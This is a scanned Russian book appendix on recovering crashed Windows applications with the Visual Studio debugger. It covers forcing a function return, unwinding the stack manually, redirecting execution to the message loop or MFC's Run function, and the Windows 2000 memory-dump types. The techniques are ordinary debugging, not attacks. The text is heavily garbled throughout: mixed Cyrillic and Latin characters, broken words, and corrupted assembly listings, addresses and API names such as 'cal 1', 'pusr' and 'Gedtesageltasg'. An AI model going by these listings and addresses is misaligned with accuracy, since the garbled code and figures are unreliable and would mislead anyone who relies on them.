266 Приложение А. Практические советы по восстановлению системы в боевых услов ПРИНУДИТЕЛЬНЫЙ ВЫХОД ИЗ ФУНКЦИИ Запускаем тестовую программу, набиваем в одном или нескольких окнах кой-нпбудь текст, затем в меню Help выбираем пункт About TestCEdit и в нояВИв шемся диалоговом окне щелкаем на кнопке make error. Опля! Программа вы брасывает критическую ошибку, и, если мы нажмем на ОК, все »есохранещц,с данные необратимо погибнут, что никак не входит в наши планы. Однако при наличии предварительно установленного отладчика мы еще можем кое-что предпринять. Пусть для определенности это будет Microsoft Visual Studio Debugger. Нажимаем Отмена, и отладчик немедленно дизассемблирует функцию, возбу- дившую исключение (листинг А.5). Листинг А.5. Отладчик Microsoft Visual Studio Debugger дизассемблировал функцию, возбудившую исключение 0040135С Push esi 0040135D mov esi.dword ptr [esp+8J 00401361 push edi 00401362 movsx edi.byte ptr [ecx+esi] 00401366 add eax.edi 00401368 inc ecx 00401369 emp ecx.edx 0040136В jl 00401362 0040136D pop edi 0040136Е pop es; 0040136F ret 8 Проанализировав причину возникновения исключения (функции передан ука- затель на невыделенную память), мы приходим к выводу, что заставить функ- цию продолжить свою работу невозможно, поскольку структура передаваемых данных нам неизвестна. Приходится прибегать к принудительному возврату в материнскую функцию, не забыв при этом установить флаг ошибки, сигнали- зируя программе, что текущая операция не была выполнена. К сожалению, ни- каких общепринятых флагов ошибок не существует, и различные функции ис- пользуют различные соглашения. Чтобы выяснить, как обстоят дела в данном конкретном случае, мы должны дизассемблировать материнскую фуЦКШ110 и определить, какой именно код ошибки она ожидает. Переместив курсор в окно дампа, набьем в строке адреса название регистра ука зателя вершины стека — ESP и нажмем па Enter. Содержимое стека тут же пРсД станет перед нашими глазами (листинг А.6). Листинг А.6. Поиск адреса возврата из текущей функции (выделен полужирным) GC12.-488 0012FA64 0012-494 00000000 0012F4AO FFFFFFFF 0012F4AC 00000019 0012F4B8 0012F4C0 0012FA64 004012FF 00000064 00403458 0012F4C4 6С291СЕА 00000000 6C32FAF0 0012FA64 01100059
Программная часть 267 d12F4C4 006403С2 002F5788 0000000G ^j2f4DO ОО64ОЗС1 77E16383 004C1E20 Первые два двойных слова соответствуют машинным командам POP EDI/POP ESI и не представляют для нас совершенно никакого интереса. А вот следующее двойное слово содержит адрес выхода в материнскую процедуру (в листинге д 6 оно выделено полужирным шрифтом). Как раз его-то нам и надо! Нажимаем Ctrl+D и затем 0x4012FF, отладчик послушно отображает следующий дизассемблерный текст (листинг А.7). Листинг А.7. Дизассемблерный листинг материнской функции C04C12FA call 00401350 004012FF стр eax.OFFh С0401302 je 0040132D 00401304 pus* eax 00401305 lea eax. [esp+8] 00401309 push 405054h 0040130Е push eax 0040130F cal 1 dword ptr ds:[4033B4h] ,s 00401315 add esp. OCh 00401318 lea ecx. [esp+4] 0Q40131C pusr 0 0040131F push 0 . 00401320 pusn ecx 00401321 mov ecx. es’ 00401323 cal 00401BC4 00401328 pop esi 00401329 0040132С 0040132С add ret esp.64n 0040132D push 0 004O132D : эта ветка получает управление, если Функция 4013501т вернет FFh 0040132F push 0 00401331 pusn 40504811 00401336 rrov ecx.esi 00401338 саГ 00401BC4 00401330 cop esi 00401ззЕ 0040134! add ret esp.64n р ч°трите: если регистр ЕАХ равен FFh, то материнская функция передает управ- ^Ие На ветку 40132Dh и спустя несколько машинных команд завершает свою Hi O|'V’ пеРедавая бразды правления функции более высокого уровня. Наиро- Но '0СЛИ ЕАХ '= FF*1, Т<) С|° зпачеипс передается функции 4033В4И. Следователь- ’ Мы можем предположить, что FFh - это флаг ошибки и есть. Возвращаемся п°Допытную функцию, нажав Ctrl+G и EIP, переходим в окно Registers и мепя- значение ЕАХ на FFh. р^еРь необходимо найти подходящую точку возврата из функции. Просто пе- Tl1 к машинной команде RET нельзя, поскольку перед выходом из функции
268 Приложение А. Практические советы по восстановлению системы ^®^£УсловиЯх следует в обязательном порядке сбалансировать стек, иначе нас известно куда н программа обрушится окончательно. выбросит 11е. В общем случае число PUSH-комаид должно в точности соответствовать к() личеству POP (также учитывайте, что PUSH DWORD X эквивалентен SUB ESP 4 a POP DWORD X — ADD ESP. 4). Проанализировав дизассемблерный лпстингфУпк Нии,мы приходим к выводу, что для достижения гармонии добра и хтамыдо1зк ны «стащить» с вершины стека два двойных слова, соответствующие машин ным командам 40135C:PUSH ESI и 401361:PUSH EDI. Это достигается передачей управления по адресу 40136D6, где живут два «добродушных» РОР’а, приводя- щие стек в равновесное состояние. Подводим сюда курсор и уверенным щелч- ком правой клавиши мыши вызываем контекстное меню, среди пунктов кото- рого выбираем Set Next Statement. Как вариант, можно перейти в окно регистров и изменить значение EIP с 401362b на 40136Dh. Нажатием F5 мы заставляем процессор продолжить выполнение программы и. о, чудо! Она действительно продолжает свою работу (незлобное ругательство на ошибку последней операции — не в счет!). Песохраненпые данные спасены! РАСКРУТКА СТЕКА Далеко не во всех случаях принудительный выход из функции оказывается возможным. Ряд критических сбоев затрагивает не одну, а сразу несколько вло- женных функций, и тогда для реанимации программы мы должны совершить глубокий откат назад, продолжив выполнение программы с того места, где бы ее работоспособности ничто не угрожало. Точная глубина отката подбирается экспериментально и обычно составляет три-пять ступеней. Имейте в виду, что если вложенные функции модифицируют глобальные данные (например, дан- ные кучи), то попытка отката может привести к полному краху отлаживаемой программы, поэтому требуемую глубину отката желательно угадать с первого раза, придерживаясь правила: лучше перебрать, чем недобрать. С другой! сто- роны, чрезмерно глубокий откат ведет к потере всех цесохранеиных данных... Процедура отката состоит из трех шагов: 1. Построения дерева вызовов. 2. Определения координат стекового фрейма для каждого из них. 3. Восстановления регистрового контекста материнской функции. Хороший отладчик все это сделает за нас, и вам останется лишь записать в Ре- гистры EIP и ESP соответствующие значения. К сожалению, отладчик 1С soft Visual Studio Debugger к хорошим не относится. Он довольно посредстве трассирует стек, пропуская FPO-функции (Frame Point Omission — с оптимизированным фреймом), и не сообщает координат стекового ФР «благодаря» чему самую трудоемкую часть работы нам приходится вывем самостоятельно. ч(1. Впрочем, даже такой стек вызовов все же лучше, чем совсем ничего. Р‘кК^сте- вая его вручную, мы будем отталкиваться от того, что координаты ФР°йма мОе ствепным образом определяются по адресу возврата. Допустим, содер^ окна Call Stack выглядит так (листинг А.8).
ррограммная часть 269 ЛИСТИНГ А.В. Содержимое окна Cal) Stacks отладчика Microsoft Visual Studio Debugger tESTCEDIT! 004013620 mFC42! 6c2922ae() mFC42! 6c298fc5O MfC42! 6c292976O MfC42! 6c291dcc() HFC42! 6c291cea() HFQ42! 6c291c73O MFC42! 6c291bfb() MFC42! 6c291bba() Попробуем найти в стеке адреса 6C2922AEh и 6C298FC5h, соответствующие двум последним ступеням исполнения. Нажимаем Alt+б для перехода в окно дампа п, воспользовавшись комбинацией клавиш Ctrl+G в качестве базового адреса отображения, выбираем ESP. Прокручивая окно дампа вниз, мы обнаруживаем оба адреса возврата (в листинге А.9 они выделены рамками). Листинг А.9. Содержимое стека после раскрутки C012F488 0012FA64 0012FA64 004012FF <- 0040136F:ret. 8 первый адрес возврата 0012F494 ОООООСОС 00000064 00403458 <- 30401328-.pop esi OQ12F4AO FFFFFFFF 0012F4C4 6С291СЕА 0012F4AC 00000019 00000000 6C32FAF0 0012F4B8 0012F4C0 0012FA64 01100059 0012F4C4 00320774 002F5788 00000000 0012F4DO 0032070] 77Е16383 004С1Е20 0D12F4DC 00320774 002F5788 00000000 0012F4E8 000003E8 0012FA64 004F8CD8 0012F4F4 0012F4DC 002F5788 0012F560 3012F5CC 77E61D49 6C2923D8 00403458 <- 00401326-.ret; 0012F5GC 00030111 0012^540 |6С2922АЕ] <-66292371: pod ebx/pop ebp/ret 101 0012F518 C012FA64 0000C3F8 00000000 0012F5J8 0012FA64 000003Е8 00000000 M12F524 0C4012F0 00000000 00000006 M12F530 00000000 00000000 C012FA64 3012F53C ОСОООЗЕ8 0012F564 ГбС298~Ё^] 0012F543 Q00003E8 00000000 00000000 °°12F554 00000000 000003Е8 0012FA64 чейки памяти, лежащие выше адресов возврата, представляют собой значе- Регистров, сохраненные в стеке при входе в функцию и восстанавливаемые 11 ее. завершении. Ячейки памяти, лежащие ниже адресов возврата, оккупи- аны аргументами функции (если, конечно, у функции есть аргументы) или чринадлежат локальным переменным материнской функции, если дочер- Функция не принимает никаких аргументов. хУТРащаясь к листингу А.6, отметим, что два двойных слова, лежащие на вер- ;ia Кестека, соответствуют машинным командам POP EDI и POP ESI, а следующий Cj}ll,,‘MH адрес - 4012FFh — это тот самый адрес, управление которому передает- 3g К°Манд°й 40136Fh:RET 8. Для продолжения раскрутки стека мы должны ди- г,’м^лировать код по этому адресу (листинг А.10).
270 Приложение А. Практические советы по восстановлению системы в боевых условиях Листинг А.10. Дизассемблерный листинг праматеринской функции («бабушки») 004012FA call 00401350 004012FF стр eax.OFFh 00401302 Je OC40132D 00401304 push eax 00401305 lea eax.[esp+8] 00401309 push 405054n 0040130Е push eax C040130F cal 1 dword ptr ds:[4033B4h] 00401315 add esp.OCn 00401318 lea ecx.[esp+4] 0040131С push 0 0040131Е push 0 00401320 push ecx 00401321 mov ecx.esi 00401323 call 00401BC4 00401328 pop esi 00401329 add esp.64h 0040132С ret : SS: [ESP] = 6C2923D8 Прокручивая экран вниз, мы замечаем инструкцию ADD ESP, 64, закрывающую текущий кадр стека. Еще восемь байт снимает инструкция 40136Fh:RET 8, и че- тыре байта оттягивает на себя 401328:POP ESI. Таким образом, позиция адреса возврата в стеке равна: current ESP + 64h + 8 + 4 == 70h. Спускаемся на 70h байт ниже и видим: 0012F500 77E61D49 6C2923D8 00403458 00401328:РОР ESI/ret: Первое двойное слово — это значение регистра ESI, который нам предстоит вруч- ную восстановить; второе — адрес возврата из функции. Нажатием Ctrl+G, 0x6C2923D8 мы продолжаем раскручивать стек (листинг А.11). Листинг А.11. Дизассемблерный листинг прапраматеринской функции 6C2923D8 Jmp 6C29237B 6C29237B mov eax.ebx 6C29237D POP esi 6C29237E pop ebx 6C29237- pop ebp 6C292380 ret ICh Вот мы и добрались до восстановления регистров! Сместившись на одно двой- ное слово вправо (оно только что было вытолкнуто из стека командой RET), пе- реходим в окно Registers и восстанавливаем регистрц ESI, EBX, ЕВР, извлекая со храненные значения из стека: 0012F500 77E61D49 6C2923D8 00403458 6C29237D:pop esi 0012F5CC 00000111 0012F540 |6C2922AEj: <-6С29237Е:рор ebx/pop ebp/ret ICh Как вариант можно переместить регистр EIP на адрес 6C29237Dh, а регистр ESP на адрес 12F508h, после чего нажать F5 для продолжения выполнения програмМь1-
Программная часть 271 J4 этот прием действительно срабатывает! Причем реанимированная програм- ма уже «не ругается» на ошибку последней операции (как это было при восста- новлении путем принудительного выхода из функции), а просто ее не выпол- няет. Красота! ПЕРЕДАЧА УПРАВЛЕНИЯ НА ФУНКЦИЮ ОБРАБОТКИ СООБЩЕНИЙ Двум предыдущим способам «реанимации» приложений присущи серьезные ограничения и недостатки. При тяжелых разрушениях стека, вызванных атака- ми типа buffer overfull или же просто алгоритмическими ошибками, содержи- мое важнейших регистров процессора окажется искажено, и мы уже несхожем ни совершить откат (стек утерян), пи выйти из текущей функции (EIP «смот- рит в космос»). В консольных приложениях в такой ситуации действительно очень мало что можно сделать... Вот GUI —другое дело! Концепция событийно ориентированной архитектуры наделяет всякое окопное приложение опреде- ленными серверными функциями. Даже если текущий контекст выполнения необратимо утерян, мы можем передать управление на цикл извлечения и дис- петчеризации сообщений, заставляя программу продолжить обработку действий пользователя. Классический цикл обработки сообщений выглядит так (листинг А.12). Листинг А.12. Классический цикл обработки сообщений while (Gedtesageltasg. NULL. 0. 0)) { Transl ateMessaget &msg): Dispatcir'essageCtosg): } Все, что нам нужно, — это передать управление на цикл while, даже не заботясь о настройке кадра стека, поскольку оптимизированные программы (а таковых большинство) адресуют свои локальные переменные не через ЕВР, а непосред- ственно через сам ESP. Конечно, при обращении к переменной msg, функция «угробит» содержимое стека, лежащее ниже его вершины, но это уже неважно. Правда, при выходе из приложения оно упадет окончательно (ведь вместо ад- реса возврата из функции обработки сообщений машинная команда RET обна- ружит на вершине стека неизвестно что), но это произойдет после сохранения всех данных и потому никакой угрозы не несет. Исключение составляют при- ложения, «забывающие» закрыть все открытые файлы и перекладывающие эту Раооту на глечи функции ExitProcess. Что ж! Можно так подправить адрес воз- врата, чтобы он указывал на ExitProcess! Давайте создадим простейшее Windows-приложение и поэкспериментируем с Ним. Запустив Microsoft Visual Studio выберем New ► Project ► Win32 Application итам — Typical Hello, World application. Добавим новый пункт меню, а в нем: char *р; *р= о; и откомпилируем этот проект с отладочной информацией. «Роняем» приложение на пол, запустив отладчик, подгоняем мышь к пер- вой строке цикла обработки сообщений и в появившемся контекстном меню
272 Приложение А. Практические советы по восстановлению системы в боевых условиях находим пункт Set Next Statement. Нажимаем F5 для возобновления работы про. граммы, и... она действительно возобновляет свою работу! А теперь откомпилируем наш проект в чистовом варианте (то есть без отладоч. ной информации) и попробуем реанимировать приложение в голом машинном коде. Пользуясь тем обстоятельством, что Windows — это действительно много- задачная среда, в которой крушение одного процесса не мешает работе всех осталь- ных, запустим свой любимый дизассемблер (например, IDA PRO) и проанали- зируем таблицу импорта отлаживаемой программы (вообще-то это может сделать и бесплатно распространяемый dumpbin, но его отчет не так нагляден). Целью нашего поиска будут функции TranslateMessage/DispatchMessage и пере- крестные ссылки, ведущие к циклу выборки сообщений (листинг А.13). Листинг А.13. Поиск функций TranslateMessage/DispatchMessage в таблице импорта .idata:004040Е0 .idata:ОО4С4ОЕС .idata:004040ЕС .idata:004040Е4 .idata:004С40Е4 . idata-.004040E8 BOOL _stdcal1 lranslateMessage(const MSG *lpMsg) extrn TranslateMessage:dword : DATA XREF: _WinMain@16+71^r : _WinMain@l6*80^r LONG _stdcall DispatchMessageA(const MSG *lpMsg) extrn DispatchMessageA:dword . DATA XREF: _WinMain@16+94*r С функцией DispatchMessage связана всего лишь одна перекрестная ссылка, со всей очевидностью ведущая к искомому циклу обработки сообщений, дизас- семблерный код которого выглядит так (листинг А.14). Листинг А.14. Дизассемблерный листинг функции обработки сообщений text:004С1050 mov ed’, ds:GetMessageA text:00401050 первый вызов GetMessageA (это еще не цикл, это только его преддверье) text:00401050 text:00401056 p-jsh 0 . wMsgF i1 terMax text:00401058 posh 0 : wMsgFilterMin text.0040105A lea ecx. [esp+2Ch+Msg] text:0040105A ECX указывав т на область памяти, через которую GetMessageA text:0040105A станет возвращать сообщение, текущее значение ESP может быть text .-0040105A любым, главное, чтобы оно указывало на действительную область text:0040105A памяти (см. карту памяти, если значение ESP оказалось искажено text:0040105A . настолько. - то вывело его в "космос") text:0040105A ; text:0040105E push 0 : hWnd text:00401060 push ecx : IpMsg text:00401061 mcv esi еах text:00401063 call ed’ : GetMessageA text:00401063 ; : вызываем GetMessageA I text:00401063 text:00401065 test. eax. eax text .-00401067 jz short )oc_4010AD text:00401067 ; : проверка на наличие необработанных сообщений в очереди text:00401067
г-Поограммная часть 273 text:00401577 loc 401077: CODE XREF: _WinMdTn@16+A9vj .text:0040:077 text: 004010-77 : начало цикла обработки сообщений text:00401077 mov eax. Lesp+2Cb+Msg.hwnd] text:0040157B lea edx. [esp+2Ch+Msg] .text:00401078 : EDX указывает на область памяти, используемую для передачи сообщений .text:00401078 .text:00401C7F pusn edx ; IpMsg .text.'00401080 push esi hAccTable ,text:00401081 push еах ; hWnd .text:00401082 call ebx ; Trans1ateAcceleratorA .text:00401082 вызываем функцию TranslateAcceleratorA ,text:00401C82 .text:00401084 test еах. еах .text:00401086 jnz snort 1ос_40Ю9А .text:00401086 проверка на наличие в очереди необработанных сообщений .text'.00401086 .text:00401088 lea ecx. [esp+2Ch+Msg] .text:0040108C push ecx ; IpMsg .text:00401080 cal 1 езр TranslateMessage ,text:00401C83 вызываем функцию TranslateMessage. если есть что транслировать .text:00401080 ,text:0040108F lea edx. [esp+2Ch+MsgJ .text:00401093 push edx ; IpMsg .text:00401094 call ds:Di spatchMessageA .text:00401094 : диспетчеризуем сообщение text:0040109A •text:0040109Л loc 40109А: / CODE XREF: WinMain@16+86\j •text:0040109A push о : wMsgFilterMax •text:0040109C push C wMsgFilterMin •text:0040109E 'ea eax. [esp+34h+Msg] -text:004010A2 push 0 : hWr.d text:004010A4 push eax : IpMsg •text:004010A5 call edi : GetMessageA text:004010A5 : читаем очередное сообщение из очереди text:004010A5 text:004010A7 test eax. eax •text:00401CA9 jnz short loc 401077 •text;004010A9 •text:004010A9 . вращаем цикл обработки, сообщений •text:00401CAB pop ebp text;004010AC pop ebx text;004010AD text:00401CAD loc 4010AD: CODE XREF: WinMain@16+67\j text:004C10AD mov eax. Lesp+24h+Msg.wParam] •text:00401081 OOP edi text:00401082 pop esi text:00401083 add esp. ICh 'text:004010B6 retn Oh te*t:004010В6 WwMain@16 endp
274 Приложение А. Практические советы по восстановлению системы в боевых условиях Мы видим, что цикл обработки сообщении начинается с адреса 401050h, и именно на этот адрес следует передать управление, чтобы возобновить работу упавшей программы. Пробуем сделать это, и... программа работает! Разумеется, настоящее приложение оживить намного сложнее, поскольку цикл обработки сообщений в нем рассредоточен по большому количеству функций, отождествить которые при беглом дизассемблировании невозможно. Тем не менее приложения, построенные на основе общедоступных библиотек (напри- мер, MFC, OVL), обладают вполне предсказуемой архитектурой, и реанимиро- вать их вполне возможно. Рассмотрим, как устроен цикл обработки сообщений в MFC. Большую часть своего времени исполнения MFC-приложения проводят внутри функции CWinThread: -.Run(void), которая периодически опрашивает очередь па предмет поступления свежих сообщений и рассылает их соответствующим обработчи- кам. Если один из обработчиков споткнулся и довел систему до критической ошибки, выполнение программы может быть продолжено в функции Run. В этом- то и заключается ее главная прелесть! Функция не имеет явных аргументов, по принимает скрытый аргумент this, указывающей на экземпляр класса CWinThread или производный от него класс, без которого функция просто не сможет работать. К счастью, таблицы вирту- альных методов класса CWinThread содержат достаточное количество «родимых пятен», чтобы указатель this можно было воссоздать вручную. Загрузим функцию Run в дизассемблер и отметим все обращения к таблице вир- туальных методов, адресуемой через регистр ЕСХ (листинг А.15). Листинг А.15. Дизассемблерный листинг функции Run (фрагмент) text : 6С29919Э n2k_Trasnl ate_nain: text:6C29919D CODE XREF: MFC42_5715+lFTj ; 4FC42_5715+67vj ... text:6C29919D mov eax. [esi] text:6C29919F mov ecx. esi text:6C2991Al call cword ptr [eax+64h] CWinThread::PumpMessage(void) text:6C2991A4 test eax. eax text:6C2991A6 jz Short loc_6C2991DA text:6C2991A8 mov eax. [esij text:6C2991AA lea ebp. [esi+34h] text:6C2991AD push ebp text:6C2991AE mov ecx. esi text:6C2991BC cal' dword ptr [eax+6Ch] : CWinThread: :IsIdleMessage(MSG*) text:6C2991B3 test eax, eax text:6C2991B5 Jz short loc_6C2991BE text:6C2991E7 push 1 text:6C2991B9 nov [esp+14h], ebx text:6C2991BD pop edi text:6C2991BE text:6C2991BE 1OC_6C2991BE: text:6C2991BE push ebx . CODE XREF: MFC42_5715+51Tj : wRemoveMsg
Программная часть 275 . text:6C2991Bi .text:6C299JCC .text:6C2991CJ ,text:6C2991C2 ,text:6C2991C3 .text:6C2991C9 ,text:6C2991CB ,text:6C2991CD push push push push call test jnz ebx : wMsgFI 1 terMax ebx wMsgFilterNin ebx ; h'n'rid ebp IpMsg ds :PeekMessageA eax. eax short r.2kjrdsnlatejnain Таким образом, функция Run ожидает получить указатель на двойное слово, указывающее на таблиц)' виртуальных методов, элементы 0x19 и 0x1В которой представляют собой функции PumpMessage и IsldleMessage соответственно (или переходники к ним). Адреса импортируемых функций, если только динамиче- ская библиотека не была перемещена, можно узнать в том же дизассемблере; в противном случае следует отталкиваться от базового адреса модуля, отобра- жаемого о тладчиком по команде Modules. При условии, что эти две функции не были перекрыты программистом, поиск нужной нам виртуальной таблицы не составит никакого труда. По непонятным причинам библиотека MFC42.DLL не экспортирует символьных имен функций, и эту информацию нам приходится добывать самостоятельно. Обработав библиотеку MFC42.LIB утилитой dumpbin, запущенной с ключом / ARCH, мы определим ординалы обеих функций (ординал PumpMessage — 5307, a IsIdleMessage — 4079). Остается найти эти значения в экспорте библиотеки MFC42.DLL (dumpbin /EXPORTS mfc42.dll > mfc42.txt), из чего мы узнаем, что ад- рес функции PumpMessage — 6C291194h, a IsIdleMessage — 6C292583h. Теперь мы должны найти указатели на функции PumpMessage/IsIdleMessage в па- мяти, а точнее — в секции данных, базовый адрес которой содержится в заго- ловке PE-файла, только помните, что в х86-процессорах наименее значимый байт располагается по меньшему адресу, то есть все числа записываются задом наперед. К сожалению, отладчик Microsoft Visual Studio Debugger не поддер- живает операцию поиска в памяти, и нам приходится действовать обходным путем — копировать содержимое дампа в буфер обмена, вставлять его в тексто- вый файл и, нажав F7, искать адреса уже там. Долго ли, коротко ли, но интересующие нас указатели обнаруживаются по адресам 403044h/40304Ch (естественно, у вас эти адреса могут быть и другими). Причем обратите внимание: расстояние между указателями в точности равно расстоянию между указателями на [ЕАХ + 64й] и [ЕАХ + 6Ch], а очередность их размещения в памяти обратна порядку объявления виртуальных методов. Это _ хороший признак, и мы, скорее всего, находимся на правильном пути (листинг А. 16). Листинг А.16. Адреса функций IsIdleMessage/PumpMessage, найденные в секции данных 00403044 6C2911D4 6С292583 6С291194 : isldleMessage/PumpMessage 00403Q5O 6C2913D0 6С299144 6С297129 0340305С 6С297129 6С297129 6С291А47
276 Приложение А. Практические советы по восстановлению системы в боевых условиях Указатели на адреса 403048h/40304Ch, очевидно, и будут «кандидатами» в члены искомой таблицы виртуальных методов класса CWinThread. Расширив сферу ц0. иска всем адресным пространством отлаживаемого процесса, мы обнаружива- ем два следующих переходника (листинг А.17). Листинг А.17. Переходники к функциям IsIdleMessage/PumpMessage, найденные там же 00401А20 jrro dword ptr ds:[403044h] IsIdleMessage S0401A26 jmp dwcrd otr ds:L4O3O48h] 00401A2C jmp dword ptr ds:L40304Ch] ; PumpMessage Ага, уже теплее! Мы нашли не сами виртуальные функции, но переходники к ним. Раскручивая этот запутанный клубок (листинг А. 18), попробуем отыс- кать ссылки на 401A26h/401A2Ch, которые передают управление на приведенный ранее код. Листинг А.18. Виртуальная таблица класса CWinThread •00403490 00401А9Е 00401040 OC4015FO <- 0x0. 0x1. 0x2 элементы 0040349С 00401390 004015F0 С0401А9В 0x3. 0x4, 0x5 элементы 004034А8 00401А92 00401А8С 00401А86 <- 0x6. 0x7. 0x8 элементы 004034В4 00401А80 00401А7А 00401А74 <- 0x9. ОхА. ОхВ элементы 004034С0 00401010 00401А6Е 00401А68 <- ОхС. 0x0. ОхЕ элементы 004034СС 00401А62 00401А5С 00401А56 OxF. 0x10. 0x11 элементы C04034D8 00401А50 00401А4А 00401А44 <г 0x12. . 0x13. 0x14 элементы 304334Е4 00401АЗЕ С04010В0 00401А38 <- 0x15, 0x16 • . 0x17 элементы OQ4034FC 00401А32 00401А2С С0401А26 «г 0x18 . 0x19 1. 0х1А элементы (PumpMessage) C04034FC 00401А20 00401А1А 00401А14 <- 0x1В . 0х1С :. OxlD элементы (IsIdleMessage) Даже неопытный исследователь программ распознает в этой структуре данных таблицу виртуальных функций. Указатели на переходники к PumpMessage/ IsIdleMessage разделяются ровно одним элементом, как того и требуют условия задачи. Предположим, что эта виртуальная таблица нам и нужна. Для провер- ки этого предположения отсчитаем 0x19 элементов вверх от 4034F4h и попыта- емся найти указатель, ссылающийся на ее начало. Если повезет и он окажется экземпляром класса CwinThread, то программа сможет корректно продолжить свою работу: 00405СВ8] 00403490 00000001 00000000 004050С4 00000000 00000000 00000001 Действительно, в памяти обнаруживается нечто похожее. Записываем в регистр ЕСХ значение 4050B8h, находим в памяти функцию Run (как уже говорилось, есл только она не была перекрыта, ее адрес — 6С299164Й — известен). НажиМ • Ctrl+G, затем 0х6С299164 и в контекстном меню, вызванном правой клавИи\ мыши, выбираем Set Next Statement. Программа, отделавшись легким ис11^ваС) продолжает свое исполнение, ну а мы на радостях идем пить пиво (кофе, к чай — по вкусу). Аналогичным путем можно вернуть к жизни и зависшие приложения, шие нить управления и не реагирующие ни на мышь, ни на клавиатуру
Программная часть 277 КАК ПОДКЛЮЧИТЬ ДАМП ПАМЯТИ ...в отделе программ весь пол был усеян дырочками от перфо- карт, и какие-то мужики ползали по раскатанной по полу 20-метровой распечатке аварийного дампа памяти с целью обнаружения ошибки в распределителе памяти ОС-360. К президенту подошел начальник отдела и сообщил, что есть надежда сделать это еще к обеду. Ю. Антонов. «Юность Гейтса» Дамп памяти (memory dump, также называемый корой [от английского соте — «сердцевина»], crash- или аварийным дампом), сброшенный системой при воз- никновении критической ошибки, — не самое лучшее средство для выявления причин катастрофы, но ничего другого в руках администратора зачастую про- сто нет. Последний «вздох» операционной системы, похожий на дурно пахну- щую навозную кучу, из которой высовывается чей-то наполовину разложив- шийся труп, мгновенным снимком запечатленный в момент неустранимого сбоя, — вот что такое дамп памяти! Копание в нем вряд ли доставит вам удо- вольствие. Не исключено, что истинного виновника краха системы вообще не удастся найти. Допустим, некий некорректно работающий драйвер вторгся в об- ласть памяти, принадлежащую другому драйверу, и наглым образом затер кри- тические структуры данных, сделав из чисел винегрет. К тому моменту, когда драйвер-жертва пойдет вразнос, драйвер-хищник может быть вообще выгру- жен из системы, и определить его причастность к крушению системы но одно- му лишь дампу практически нереально. Тем не менее полностью игнорировать факт существования дампа, право же, не стоит. В конце концов, до возникновения интерактивных отладчиков ошибки в программах приходилось искать именно так. Избалованность современных программистов визуальными средствами анализа, увы, не добавляет им уве- ренности в тех ситуациях, когда неумолимая энтропия оставляет их со сво- ими проблемами один на один. Ио довольно лирики. Переходим к делу, распи- сывая каждое действие по шагам. Первым делом необходимо войти в конфигурацию системы — Панель управле- ния ► Система (Control Panel ► System) п убедиться, что настройки дампа соответ- ствуют предъявляемым к ним требованиям — Дополнительно ► Загрузка и вос- становление ► Отказ системы (Startup ► Shutdown ► Recovery) в Windows 2000 RL’S и (Windows NT 4.0 ENG) соответственно. Операционная система Windows 2000 поддерживает три разновидности дампов памяти: • малый дамп памяти (small memory dump); • дамп памяти ядра (kernel memory dump); • полный дамп памяти (complete dump memory). Для изменения настроек дампа вы должны иметь права администратора. МАЛЫЙ ДАМП ПАМЯТИ Малый дамп памяти занимает всего 64 Кбайт (а отнюдь не 2 Мбайт, как утвер- ждает контекстная помощь) и включает в себя:
278 Приложение А. Практические советы по восстановлению системы в боевых условиях 1. Копию голубого экрана. 2. Перечень загруженных драйверов. 3. Контекст обрушившегося процесса со всеми его потоками, 4. Первые 16 Кбайт содержимого ядерного стека обрушившегося потока. Разочаровывающе малоинформатнвные сведения! Непосредственный анализ дампа дает нам лишь адрес возникновения ошибки и имя драйвера, к которому этот адрес принадлежит. При условии, что конфигурация системы не была из- менена после возникновения сбоя, мы можем загрузить отладчик и дизассемб- лировать подозреваемый драйвер, по это мало что даст. Ведь содержимое сег- мента данных на момент возникновения сбоя нам неизвестно, более того — мы не можем утверждать, что видим те же самые машинные команды, что вызвали сбой. Поэтому малый дамп памяти полезен лишь тем, кому достаточно одного имени нестабильного драйвера. Как показывает практика, в подавляющем боль- шинстве случаев этой информации действительно оказывается вполне доста- точно. Разработчикам драйвера отсылается гневный бап-рапорт (вместе с дам- пом!), а сам драйвер тем временем заменяется другим — более новым и надежным. Но умолчанию малый дамп памяти записывается в директорию %SystemRoot%\Minidump, где ему присваивается имя Mini, дата записи дампа и по- рядковый помер сбоя па данный день. Например, MinillO701-69.dmp — 69-й дамп системы от 07 ноября 2001 года. ДАМП ПАМЯТИ ЯДРА Дамп памяти ядра содержит более полную информацию о сбое и включает в се- бя всю намять, выделенную ядром и его компонентами (драйверами, уровнем абстракции от оборудования и т. д.), а также копию экрана смерти. Размер дам- па памяти ядра зависит от количества установленных драйверов и варьируется от системы к системе. Контекстная помощь утверждает, что эта величина со- ставляет от 50 до 800 Мбайт. Ну, на счет 800 Мбайт авторыявно загнули, и объем в 50-100 Мбайт выглядит более вероятным (техническая документация на си- стему сообщает, что ориентировочный размер дампа ядра составляет треть объе- ма физической оперативной памяти, установленной! на системе). Это наилуч- ший компромисс между накладными расходами па дисковое пространство, скоростью сброса дампа и информативностью последнего. Весь джентльмен- ский минимум информации — в вашем распоряжении. Практически все типо- вые ошибки драйверов и прочих ядерных компонентов могут быть локализо- ваны с точностью до байта, включая и те, что вызваны физическом сбоем аппаратуры (правда, для этого вы должны иметь некоторый патологоанатомп- ческий опыт исследования «трупных» дампов системы). По умолчанию дамп памяти ядра записывается в файл %SystemRoot%\Memory.dmp, затирая пли не затирая (в зависимости от текущих настроек Системы) предыдущий дамп. ПОЛНЫЙ ДАМП ПАМЯТИ Полный дамп памяти включает в себя все содержимое физической памяти компьютера, занятое как прикладными, так и ядерпыми компонентами. Пол- ный дамп памяти оказывается особенно полезным при отладке ASPI/SPTI-
Программная часть 279 приложении, которые в силу своей специфики могут уронить ядро даже с при- кладного уровня. Несмотря на довольно большой размер, равный размеру опе- ративной памяти, полный дамп остается наиболее любимым дампом всех сис- темных программистов (системные же администраторы в своей массе предпочитают малый дамп). Это не покажется удивительным, если вспомнить, что объемы жестких дисков давно перевалили за отметку 100 Гбайт, а оплата труда системных программистов за последние несколько лет даже возросла. Лучше иметь невостребованный полный дамп под рукой, чем кусать локти при его отсутствии. По умолчанию полный дамп памяти записывается в файл %Sys- temRoot%\Memory.dmp, затирая пли не затирая (в зависимости от текущих на- строек Системы) предыдущий дамп. Выбрав предпочтительный тип дампа, давайте совершим учебный урои систе- мы, отрабатывая методику его анализа в полевых условиях. Для этого нам по- надобится: 1, Комплект разработчика драйверов (Driver Development Kit или сокращен- но DDK), бесплатно распространяемый фирмой Microsoft и содержащий в себе подробную техническую документацию по ядру системы; несколько компиляторов Си/Си++ и ассемблера, а также достаточно продвинутые средства анализа дампа памяти. 2. Драйвер W2K_KILL.SYS или любой 